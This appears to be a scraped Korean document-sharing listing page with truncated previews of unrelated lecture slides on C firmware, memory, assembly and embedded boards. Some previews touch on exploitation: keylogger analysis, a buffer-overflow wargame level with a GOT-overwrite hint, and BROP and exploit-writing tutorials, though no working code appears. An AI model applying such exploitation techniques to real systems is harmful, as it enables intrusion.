< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074> Chap #2 펌웨어작성을위한 C 언어 I http://www.smartdisplay.co.kr 강의계획 Chap1. 강의계획및디지털논리이론 Chap2. 펌웨어작성을위한 C 언어 I Chap3. 펌웨어작성을위한 C 언어 II Chap4. AT89S52 메모리구조 Chap5. SD-52 보드구성과코드메모리프로그래밍방법 Chap6. 어드레스디코딩 ( 매핑 ) 과어셈블리어코딩방법

More information

슬라이드 1

슬라이드 1 -Part3- 제 4 장동적메모리할당과가변인 자 학습목차 4.1 동적메모리할당 4.1 동적메모리할당 4.1 동적메모리할당 배울내용 1 프로세스의메모리공간 2 동적메모리할당의필요성 4.1 동적메모리할당 (1/6) 프로세스의메모리구조 코드영역 : 프로그램실행코드, 함수들이저장되는영역 스택영역 : 매개변수, 지역변수, 중괄호 ( 블록 ) 내부에정의된변수들이저장되는영역

More information

9

9 9 hamks@dongguk.ac.kr : Source code Assembly language code x = a + b; ld a, %r1 ld b, %r2 add %r1, %r2, %r3 st %r3, x (Assembler) (bit pattern) (machine code) CPU security (code generator).. (Instruction

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

휠세미나3 ver0.4

휠세미나3 ver0.4 andromeda@sparcs:/$ ls -al dev/sda* brw-rw---- 1 root disk 8, 0 2014-06-09 18:43 dev/sda brw-rw---- 1 root disk 8, 1 2014-06-09 18:43 dev/sda1 brw-rw---- 1 root disk 8, 2 2014-06-09 18:43 dev/sda2 andromeda@sparcs:/$

More information

Microsoft PowerPoint - polling.pptx

Microsoft PowerPoint - polling.pptx 지현석 (binish@home.cnu.ac.kr) http://binish.or.kr Index 이슈화된키보드해킹 최근키보드해킹이슈의배경지식 Interrupt VS polling What is polling? Polling pseudo code Polling 을이용한키로거분석 방어기법연구 이슈화된키보드해킹 키보드해킹은연일상한가! 주식, 펀드투자의시기?! 최근키보드해킹이슈의배경지식

More information

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard Level 4 ( hell_fire -> evil_wizard ) [hell_fire@fedora_1stfloor ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard - Local BOF on Fedora Core 3 - hint : GOT overwriting

More information

08.BROP(Blind Return Oriented Programming) Excuse the ads! We need some help to keep our site up. List BROP(Blind Return Oriented Programming) BROP st

08.BROP(Blind Return Oriented Programming) Excuse the ads! We need some help to keep our site up. List BROP(Blind Return Oriented Programming) BROP st 08.BROP(Blind Return Oriented Programming) Excuse the ads! We need some help to keep our site up. List BROP(Blind Return Oriented Programming) BROP struct Find BROP Proof of concept Example code Test server

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-SEGMENT DEVICE CONTROL - DEVICE DRIVER Jo, Heeseung 디바이스드라이버구현 : 7-SEGMENT HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 디바이스드라이버구현 : 7-SEGMENT 6-Digit 7-Segment LED

More information

슬라이드 1

슬라이드 1 CCS v4 사용자안내서 CCSv4 사용자용예제따라하기안내 0. CCS v4.x 사용자 - 준비사항 예제에사용된 CCS 버전은 V4..3 버전이며, CCS 버전에따라메뉴화면이조금다를수있습니다. 예제실습전준비하기 처음시작하기예제모음집 CD 를 PC 의 CD-ROM 드라이브에삽입합니다. 아래안내에따라, 예제소스와헤더파일들을 PC 에설치합니다. CD 드라이브 \SW\TIDCS\TIDCS_DSP80x.exe

More information

Exploit writing tutorials

Exploit writing tutorials EXPLOIT WRITING TUTORIALS C1 STACK BASED BUFFER OVERFLOW KIM DONG HYUN WHATTEAM & LET S CQ & KOREA IT TECHNICAL SCHOOL rlaehdgus213@naver.com 페이지 0 / 24 Exploit writing tutorials C1 Stack Based Buffer

More information

C. KHU-EE xmega Board 에서는 Button 을 2 개만사용하기때문에 GPIO_PUSH_BUTTON_2 과 GPIO_PUSH_BUTTON_3 define 을 Comment 처리 한다. D. AT45DBX 도사용하지않기때문에 Comment 처리한다. E.

C. KHU-EE xmega Board 에서는 Button 을 2 개만사용하기때문에 GPIO_PUSH_BUTTON_2 과 GPIO_PUSH_BUTTON_3 define 을 Comment 처리 한다. D. AT45DBX 도사용하지않기때문에 Comment 처리한다. E. ASF(Atmel Software Framework) 환경을이용한프로그램개발 1. New Project Template 만들기 A. STK600 Board Template를이용한 Project 만들기 i. New Project -> Installed(C/C++) -> GCC C ASF Board Project를선택하고, 1. Name: 창에 Project Name(

More information